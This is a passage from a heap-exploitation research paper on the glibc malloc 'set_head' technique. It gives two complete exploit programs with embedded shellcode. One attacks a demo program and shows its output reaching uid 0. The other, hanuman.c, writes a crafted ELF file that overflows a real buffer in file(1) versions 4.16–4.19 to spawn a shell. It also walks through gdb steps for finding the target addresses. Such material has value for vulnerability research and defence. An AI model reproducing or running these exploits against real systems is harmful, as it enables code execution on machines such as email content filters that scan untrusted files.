A call to malloc is done with 'size' as the parameter. The loop does not end until size equals '0'. This gives the attacker the possibility of overwriting the memory multiple times. [5]: The buffer needs to be freed at the end of the loop. ------[ 6.1.2.2 - Exploit --------------------------- exp2.c ---------------------------------------- /* Exploit for scenario2.c */ #include #include #include #include // The following #define are from malloc.c and are used // to compute the values for the malloc size and the top chunk size. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; /* linux_ia32_exec - CMD=/bin/id Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4f" "\x3d\x1a\x3d\x83\xeb\xfc\xe2\xf4\x25\x36\x42\xa4\x1d\x5b\x72\x10" "\x2c\xb4\xfd\x55\x60\x4e\x72\x3d\x27\x12\x78\x54\x21\xb4\xf9\x6f" "\xa7\x35\x1a\x3d\x4f\x12\x78\x54\x21\x12\x73\x59\x4f\x6a\x49\xb4" "\xae\xf0\x9a\x3d"; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // The minus 8 is to take care of the normalization // of the malloc parameter shead->malloc_size = (retloc - toploc - 8); // By adding the 8, we are able to sometimes perfectly hit // the return address. To hit it perfectly, retadr must be a multiple // of 8 + 1 (for the PREV_INUSE flag). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } int main (int argc, char *argv[]) { char *buffer; char malloc_size_buffer[20]; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; struct sethead *shead; int i; if ( argc != 4) { printf ("wrong number of arguments, exiting...\n\n"); printf ("%s \n\n", argv[0]); return 1; } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; free (shead); buffer = (char *) malloc (4108); memset (buffer, 0x90, 4108); put_longword (buffer+4100, topchunk_size); memcpy (buffer+4100-strlen(scode), scode, strlen (scode)); buffer[4104]=0x0; printf ("%s\n", buffer); for (i = 0; i < 300; i++) { shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; printf ("%u\n", malloc_size); retloc = retloc - 8; retadr = retadr + 8; free (shead); } return 0; } --------------------------- end of exp2.c --------------------------------- Here are the steps to find the memory values to use for this exploit. 1- The first step is to generate a core dump file from the vulnerable program. You will then have to analyze this core dump to find the proper values for your exploit. To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section. Normally, the heap will start just after the BSS section: bash$ readelf -S ./scenario2|grep bss [22] .bss NOBITS 0804964c 00064c 000008 The BSS section starts at 0x0804964c. Let's call the exploit the following way, and remember to replace 0x0804964c for the BSS value you have found: bash$ ./exp2 0xc0c0c0c0 0x0804964c 0x0804964c | ./scenario2 --[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x804964c as the return address. Using 0x8049649 instead --[ Impossible to use 0x804964c as the top chunk location. Using 0x8049648 instead [...] --[ Impossible to use 0xc0c0b768 as the return location. Using 0xc0c0b76c instead --[ Impossible to use 0x8049fa4 as the return address. Using 0x8049fa1 instead Segmentation fault (core dumped) bash# 2- Call gdb on that core dump file. bash$ gdb -q scenario2 core.2698 Core was generated by `./scenario2'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/debug/libc.so.6...done. Loaded symbols for /usr/lib/debug/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 #0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082 4082 set_head(remainder, remainder_size | PREV_INUSE); (gdb) 3- The ESI register contains the address of the top chunk. It might be another register for you. (gdb) info reg esi esi 0x804a6a8 134522536 (gdb) 4- For the return address, get a memory address at the beginning of the NOP cushion: 0x8049654: 0x00000000 0x00000000 0x00000019 0x4013e698 0x8049664: 0x4013e698 0x400898a0 0x4013d720 0x00000000 0x8049674: 0x00000019 0x4013e6a0 0x4013e6a0 0x400899b0 0x8049684: 0x4013d720 0x00000000 0x00000019 0x4013e6a8 0x8049694: 0x4013e6a8 0x40089a80 0x4013d720 0x00000000 0x80496a4: 0x00001009 0x90909090 0x90909090 0x90909090 0x80496b4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496c4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496d4: 0x90909090 0x90909090 0x90909090 0x90909090 0x80496b4 is a valid address. 5- You can now call the exploit with the values that you have found. The return location will be 0xbffffffc, and it will decrement with each write. The shellcode in exp2.c executes /bin/id. bash$ ./exp2 0xbffffffc 0x80496b4 0x804a6a8 | ./scenario2 --[ Using 0x804a6a8 as the top chunk location. --[ Using 0xbffffffc as the return location. --[ Impossible to use 0x80496b4 as the return address. Using 0x80496b9 instead [...] --[ Using 0xbffff6a4 as the return location. --[ Impossible to use 0x804a00c as the return address. Using 0x804a011 instead uid=0(root) gid=0(root) groups=0(root) bash$ ----[ 6.2 - A real case scenario: file(1) utility The set_head technique was developed during the research of a security hole in the UNIX file(1) utility. This utility is an automatic file content type recognition tool found on many UNIX systems. The versions affected are Ian Darwin's version 4.00 to 4.19, maintained by Christos Zoulas. This version is the standard version of file(1) for Linux, *BSD, and other systems, maintained by Christos Zoulas. The main reason why so much energy was put in the development of this exploit is mainly because the presence of a vulnerability in this utility represents a high security risk for an SMTP content filter. An SMTP content filter is a system that acts after the SMTP server receives email and applies various filtering policies defined by a network administrator. Once the scanning process is finished, the filter decides whether the message will be relayed or not. An SMTP content filter needs to be able to call different kind of programs on an incoming email: - Dearchivers; - Decoders; - Classifiers; - Antivirus; - and many more ... The file(1) utility falls under the "classifiers" category. This attack vector gives a complete new meaning to vulnerabilities that were classified as low risk. The author of this paper is also the maintainer of PIRANA [7], an exploitation framework that tests the security of an email content filter. By means of a vulnerability database, the content filter to be tested will be bombarded by various emails containing a malicious payload intended to compromise the computing platform. PIRANA's goal is to test whether or not any vulnerability exists on the content filtering platform. ------[ 6.2.1 - The hole The security vulnerability is in the file_printf() function. This function fills the content of the 'ms->o.buf' buffer with the characteristics of the inspected file. Once this is done, the buffer is printed on the screen, showing what type of file was detected. Here is the vulnerable function: --[ From file-4.19/src/funcs.c 01 protected int 02 file_printf(struct magic_set *ms, const char *fmt, ...) 03 { 04 va_list ap; 05 size_t len; 06 char *buf; 07 08 va_start(ap, fmt); 09 if ((len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap)) >= ms-> o.len) { 10 va_end(ap); 11 if ((buf = realloc(ms->o.buf, len + 1024)) == NULL) { 12 file_oomem(ms, len + 1024); 13 return -1; 14 } 15 ms->o.ptr = buf + (ms->o.ptr - ms->o.buf); 16 ms->o.buf = buf; 17 ms->o.len = ms->o.size - (ms->o.ptr - ms->o.buf); 18 ms->o.size = len + 1024; 19 20 va_start(ap, fmt); 21 len = vsnprintf(ms->o.ptr, ms->o.len, fmt, ap); 22 } 23 ms->o.ptr += len; 24 ms->o.len -= len; 25 va_end(ap); 26 return 0; 27 } At first sight, this function seems to take good care of not overflowing the 'ms->o.ptr' buffer. A first copy is done at line 09. If the destination buffer, 'ms->o.buf', is not big enough to receive the character string, the memory region is reallocated. The reallocation is done at line 11, but the new size is not computed properly. Indeed, the function assumes that the buffer should never be bigger than 1024 added to the current length of the processed string. The real problem is at line 21. The variable 'ms->o.len' represents the number of bytes left in 'ms->o.buf'. The variable 'len', on the other hand, represents the number of characters (not including the trailing '\0') which would have been written to the final string if enough space had been available. In the event that the buffer to be printed would be larger than 'ms->o.len', 'len' would contain a value greater than 'ms->o.len'. Then, at line 24, 'len' would get subtracted from 'ms->o.len'. 'ms->o.len' could underflow below 0, and it would become a very big positive integer because 'ms->o.len' is of type 'size_t'. Subsequent vsnprintf() calls would then receive a very big length parameter thus rendering any bound checking capabilities useless. ------[ 6.2.2 - All the pieces fall into place There is an interesting portion of code in the function donote()/readelf.c. There is a call to the vulnerable function, file_printf(), with a user-supplied buffer. By taking advantage of this code, it will be a lot simpler to write a successful exploit. Indeed, it will be possible to overwrite the chunk information with arbitrary values. --[ From file-4.19/src/readelf.c /* * Extract the program name. It is at * offset 0x7c, and is up to 32-bytes, * including the terminating NUL. */ if (file_printf(ms, ", from '%.31s'", &nbuf[doff + 0x7c]) == -1) return size; After a couple of tries overflowing the header of the next chunk, it was clear that the only thing that was overflowable was the wilderness chunk. It was not possible to provoke a situation where a chunk that was not adjacent to the top chunk could be overflowable with user controllable data. The file utility suffers from this buffer overflow since the 4.00 release when the first version of file_printf() was introduced. A successful exploitation was only possible starting from version 4.16. Indeed, this version included a call to malloc with a user controllable variable. From readelf.c: --[ From file-4.19/src/readelf.c if ((nbuf = malloc((size_t)xsh_size)) == NULL) { file_error(ms, errno, "Cannot allocate memory" " for note"); return -1; This was the missing piece of the puzzle. Now, every condition is met to use the set_head() technique. ------[ 6.2.3 - hanuman.c /* * hanuman.c * * file(1) exploit for version 4.16 to 4.19. * Coded by Jean-Sebastien Guay-Leroux * http://www.guay-leroux.com * */ /* Here are the steps to find the 3 memory values to use for the file(1) exploit. 1- The first step is to generate a core dump file from file(1). You will then have to analyze this core dump to find the proper values for your exploit. To generate the core file, get an approximation of the top chunk location by getting the base address of the BSS section: bash# readelf -S /usr/bin/file Section Headers: [Nr] Name Type Addr [ 0] NULL 00000000 [ 1] .interp PROGBITS 080480f4 [...] [22] .bss NOBITS 0804b1e0 The BSS section starts at 0x0804b1e0. Let's call the exploit the following way, and remember to replace 0x0804b1e0 for the BSS value you have found: bash# ./hanuman 0xc0c0c0c0 0x0804b1e0 0x0804b1e0 mal --[ Using 0x804b1e0 as the top chunk location. --[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4 instead --[ Impossible to use 0x804b1e0 as the return address. Using 0x804b1e1 instead --[ The file has been written bash# file mal Segmentation fault (core dumped) bash# 2- Call gdb on that core dump file. bash# gdb -q file core.14854 Core was generated by `file mal'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/libmagic.so.1...done. Loaded symbols for /usr/local/lib/libmagic.so.1 Reading symbols from /lib/i686/libc.so.6...done. Loaded symbols for /lib/i686/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /usr/lib/gconv/ISO8859-1.so...done. Loaded symbols for /usr/lib/gconv/ISO8859-1.so #0 0x400a3d15 in mallopt () from /lib/i686/libc.so.6 (gdb) 3- The EAX register contains the address of the top chunk. It might be another register for you. (gdb) info reg eax eax 0x80614f8 134616312 (gdb) 4- Start searching from the location of the top chunk to find the NOP cushion. This will be the return address. 0x80614f8: 0xc0c0c0c1 0xb8bc0ee1 0xc0c0c0c1 0xc0c0c0c1 0x8061508: 0xc0c0c0c1 0xc0c0c0c1 0x73282027 0x616e6769 0x8061518: 0x2930206c 0x90909000 0x90909090 0x90909090 0x8061528: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061538: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061548: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061558: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061568: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061578: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061588: 0x90909090 0x90909090 0x90909090 0x90909090 0x8061598: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615a8: 0x90909090 0x90909090 0x90909090 0x90909090 0x80615b8: 0x90909090 0x90909090 (gdb) 0x8061558 is a valid address. 5- To get the return location for your exploit, get a saved EIP from a stack frame. (gdb) frame 3 #3 0x4001f32e in file_tryelf (ms=0x804bc90, fd=3, buf=0x0, nbytes=8192) at readelf.c:1007 1007 if (doshn(ms, class, swap, fd, (gdb) x $ebp+4 0xbffff7fc: 0x400172b3 (gdb) 0xbffff7fc is the return location. 6- You can now call the exploit with the values that you have found. bash# ./new 0xbffff7fc 0x8061558 0x80614f8 mal --[ Using 0x80614f8 as the top chunk location. --[ Using 0xbffff7fc as the return location. --[ Impossible to use 0x8061558 as the return address. Using 0x8061559 instead --[ The file has been written bash# file mal sh-2.05b# */ #include #include #include #include #include #define DEBUG 0 #define initial_ELF_garbage 75 //ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically // linked #define initial_netbsd_garbage 22 //, NetBSD-style, from ' #define post_netbsd_garbage 12 //' (signal 0) // The following #define are from malloc.c and are used // to compute the values for the malloc size and the top chunk size. #define PREV_INUSE 0x1 #define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA #define SIZE_SZ (sizeof(size_t)) #define MALLOC_ALIGNMENT (2 * SIZE_SZ) #define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1) #define MIN_CHUNK_SIZE 16 #define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK)) #define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \ < MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \ & ~MALLOC_ALIGN_MASK) // Offsets of the note entries in the file #define OFFSET_31_BYTES 2048 #define OFFSET_N_BYTES 2304 #define OFFSET_0_BYTES 2560 #define OFFSET_OVERWRITE 2816 #define OFFSET_SHELLCODE 4096 /* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27" "\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e" "\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1" "\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a" "\xc6\x2f\x40\xb3"; struct math { int nnetbsd; int nname; }; struct sethead { unsigned long topchunk_size; unsigned long malloc_size; }; // To be a little more independent, we ripped // the following ELF structures from elf.h typedef struct { unsigned char e_ident[16]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; uint32_t e_entry; uint32_t e_phoff; uint32_t e_shoff; uint32_t e_flags; uint16_t e_ehsize; uint16_t e_phentsize; uint16_t e_phnum; uint16_t e_shentsize; uint16_t e_shnum; uint16_t e_shstrndx; } Elf32_Ehdr; typedef struct { uint32_t sh_name; uint32_t sh_type; uint32_t sh_flags; uint32_t sh_addr; uint32_t sh_offset; uint32_t sh_size; uint32_t sh_link; uint32_t sh_info; uint32_t sh_addralign; uint32_t sh_entsize; } Elf32_Shdr; typedef struct { uint32_t n_namesz; uint32_t n_descsz; uint32_t n_type; } Elf32_Nhdr; struct sethead * set_head_compute (unsigned long retloc, unsigned long retadr, unsigned long toploc) { unsigned long check_retloc, check_retadr; struct sethead *shead; shead = (struct sethead *) malloc (8); if (shead == NULL) { fprintf (stderr, "--[ Could not allocate memory for sethead structure\n"); exit (1); } if ( (toploc % 8) != 0 ) { fprintf (stderr, "--[ Impossible to use 0x%x as the top chunk location.", toploc); toploc = toploc - (toploc % 8); fprintf (stderr, " Using 0x%x instead\n", toploc); } else fprintf (stderr, "--[ Using 0x%x as the top chunk location.\n", toploc); // The minus 8 is to take care of the normalization // of the malloc parameter shead->malloc_size = (retloc - toploc - 8); // By adding the 8, we are able to sometimes perfectly hit // the return address. To hit it perfectly, retadr must be a multiple // of 8 + 1 (for the PREV_INUSE flag). shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE; if (shead->topchunk_size < shead->malloc_size) { fprintf (stderr, "--[ ERROR: topchunk size is less than malloc size.\n"); fprintf (stderr, "--[ Topchunk code will not be triggered\n"); exit (1); } check_retloc = (toploc + request2size (shead->malloc_size) + 4); if (check_retloc != retloc) { fprintf (stderr, "--[ Impossible to use 0x%x as the return location. ", retloc); fprintf (stderr, "Using 0x%x instead\n", check_retloc); } else fprintf (stderr, "--[ Using 0x%x as the return location.\n", retloc); check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS)) - request2size (shead->malloc_size)) | PREV_INUSE; if (check_retadr != retadr) { fprintf (stderr, "--[ Impossible to use 0x%x as the return address.", retadr); fprintf (stderr, " Using 0x%x instead\n", check_retadr); } else fprintf (stderr, "--[ Using 0x%x as the return address.\n", retadr); return shead; } /* Not CPU friendly :) */ struct math * compute (int offset) { int accumulator = 0; int i, j; struct math *math; math = (struct math *) malloc (8); if (math == NULL) { printf ("--[ Could not allocate memory for math structure\n"); exit (1); } for (i = 1; i < 100;i++) { for (j = 0; j < (i * 31); j++) { accumulator = 0; accumulator += initial_ELF_garbage; accumulator += (i * (initial_netbsd_garbage + post_netbsd_garbage)); accumulator += initial_netbsd_garbage; accumulator += j; if (accumulator == offset) { math->nnetbsd = i; math->nname = j; return math; } } } // Failed to find a value return 0; } void put_byte (char *ptr, unsigned char data) { *ptr = data; } void put_longword (char *ptr, unsigned long data) { put_byte (ptr, data); put_byte (ptr + 1, data >> 8); put_byte (ptr + 2, data >> 16); put_byte (ptr + 3, data >> 24); } FILE * open_file (char *filename) { FILE *fp; fp = fopen ( filename , "w" ); if (!fp) { perror ("Cant open file"); exit (1); } return fp; } void usage (char *progname) { printf ("\nTo use:\n"); printf ("%s ", progname); printf (" \n\n"); exit (1); } int main (int argc, char *argv[]) { FILE *fp; Elf32_Ehdr *elfhdr; Elf32_Shdr *elfshdr; Elf32_Nhdr *elfnhdr; char *filename; char *buffer, *ptr; int i; struct math *math; struct sethead *shead; int left_bytes; unsigned long retloc, retadr, toploc; unsigned long topchunk_size, malloc_size; if ( argc != 5) { usage ( argv[0] ); } sscanf (argv[1], "0x%x", &retloc); sscanf (argv[2], "0x%x", &retadr); sscanf (argv[3], "0x%x", &toploc); filename = (char *) malloc (256); if (filename == NULL) { printf ("--[ Cannot allocate memory for filename...\n"); exit (1); } strncpy (filename, argv[4], 255); buffer = (char *) malloc (8192); if (buffer == NULL) { printf ("--[ Cannot allocate memory for file buffer\n"); exit (1); } memset (buffer, 0, 8192); math = compute (1036); if (!math) { printf ("--[ Unable to compute a value\n"); exit (1); } shead = set_head_compute (retloc, retadr, toploc); topchunk_size = shead->topchunk_size; malloc_size = shead->malloc_size; ptr = buffer; elfhdr = (Elf32_Ehdr *) ptr; // Fill our ELF header sprintf(elfhdr->e_ident,"\x7f\x45\x4c\x46\x01\x01\x01"); elfhdr->e_type = 2; // ET_EXEC elfhdr->e_machine = 3; // EM_386 elfhdr->e_version = 1; // EV_CURRENT elfhdr->e_entry = 0; elfhdr->e_phoff = 0; elfhdr->e_shoff = 52; elfhdr->e_flags = 0; elfhdr->e_ehsize = 52; elfhdr->e_phentsize = 32; elfhdr->e_phnum = 0; elfhdr->e_shentsize = 40; elfhdr->e_shnum = math->nnetbsd + 2; elfhdr->e_shstrndx = 0; ptr += elfhdr->e_ehsize; elfshdr = (Elf32_Shdr *) ptr; // This loop lets us eat an arbitrary number of bytes in ms->o.buf left_bytes = math->nname; for (i = 0; i < math->nnetbsd; i++) { elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_size = 256; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; if (left_bytes > 31) { // filename == 31 elfshdr->sh_offset = OFFSET_31_BYTES; left_bytes -= 31; } else if (left_bytes != 0) { // filename < 31 && != 0 elfshdr->sh_offset = OFFSET_N_BYTES; left_bytes = 0; } else { // filename == 0 elfshdr->sh_offset = OFFSET_0_BYTES; } // The first section header will also let us load // the shellcode in memory :) // Indeed, by requesting a large memory block, // the topchunk will be splitted, and this memory region // will be left untouched until we need it. // We assume its name is 31 bytes long. if (i == 0) { elfshdr->sh_size = 4096; elfshdr->sh_offset = OFFSET_SHELLCODE; } elfshdr++; } // This section header entry is for the data that will // overwrite the topchunk size pointer elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_offset = OFFSET_OVERWRITE; elfshdr->sh_size = 256; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; elfshdr++; // This section header entry triggers the call to malloc // with a user supplied length. // It is a requirement for the set_head technique to work elfshdr->sh_name = 0; elfshdr->sh_type = 7; // SHT_NOTE elfshdr->sh_flags = 0; elfshdr->sh_addr = 0; elfshdr->sh_offset = OFFSET_N_BYTES; elfshdr->sh_size = malloc_size; elfshdr->sh_link = 0; elfshdr->sh_info = 0; elfshdr->sh_addralign = 0; elfshdr->sh_entsize = 0; elfshdr++; // This note entry lets us eat 31 bytes + overhead elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_31_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_31_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); sprintf (buffer + OFFSET_31_BYTES + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // This note entry lets us eat an arbitrary number of bytes + overhead elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_N_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_N_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); for (i = 0; i < (math->nname % 31); i++) buffer[OFFSET_N_BYTES+24+0x7c+i]='B'; // This note entry lets us eat 0 bytes + overhead elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_0_BYTES); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_0_BYTES + 12; sprintf (ptr, "NetBSD-CORE"); buffer[OFFSET_0_BYTES+24+0x7c]=0; // This note entry lets us specify the value that will // overwrite the topchunk size elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_OVERWRITE); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_OVERWRITE + 12; sprintf (ptr, "NetBSD-CORE"); // Put the new topchunk size 7 times in memory // The note entry program name is at a specific, odd offset (24+0x7c)? for (i = 0; i < 7; i++) put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4), topchunk_size); // This note entry lets us eat 31 bytes + overhead, but // its real purpose is to load the shellcode in memory. // We assume that its name is 31 bytes long. elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE); elfnhdr->n_namesz = 12; elfnhdr->n_descsz = 12; elfnhdr->n_type = 1; ptr = buffer + OFFSET_SHELLCODE + 12; sprintf (ptr, "NetBSD-CORE"); sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"); // Fill this memory region with our shellcode. // Remember to leave the note entry untouched ... memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096-256); sprintf (buffer + 8191 - strlen (scode), scode); fp = open_file (filename); if (fwrite (buffer, 8192, 1, fp) != 0 ) { printf ("--[ The file has been written\n"); } else { printf ("--[ Can not write to the file\n"); exit (1); } fclose (fp); free (shead); free (math); free (buffer); free (filename); return 0; } --[ 7 - Final words That's all for the details of this technique; a lot has already been said through this paper. By looking at the complexity of the malloc code, there are probably many other ways to take control of a process by corrupting the malloc chunks. Of course, this paper explains the technical details of set_head, but personally, I think that all the exploitation techniques are ephemeral. This is more true, especially recently, with all the low level security controls that were added to the modern operating systems. Beside having great technical skills, I personally think it's important to develop your mental skills and your creativity. Try to improve your attitude when solving a difficult problem. Develop your perseverance and determination, even though you may have failed at the same thing 20, 50 or 100 times in a row. I would like to greet the following individuals: bond, dp, jinx, Michael and nitr0gen. There is more people that I forget. Thanks for the help and the great conversations we had over the last few years. --[ 8 - References 1. Solar Designer, http://www.openwall.com/advisories/OW-002-netscape-jpeg/ 2. Anonymous, http://www.phrack.org/archives/57/p57-0x09 3. Kaempf, Michel, http://www.phrack.org/archives/57/p57-0x08 4. Phantasmal Phantasmagoria, http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt 5. Phantasmal Phantasmagoria, http://seclists.org/vuln-dev/2004/Feb/0025.html 6. jp, http://www.phrack.org/archives/61/p61-0x06_Advanced_malloc_exploits.txt 7. Guay-Leroux, Jean-Sebastien, http://www.guay-leroux.com/projects.html 8. gera, http://www.phrack.org/archives/59/p59-0x07.txt 9. The Shellcoder's Handbook: Discovering and Exploiting Security Holes (2004), Wiley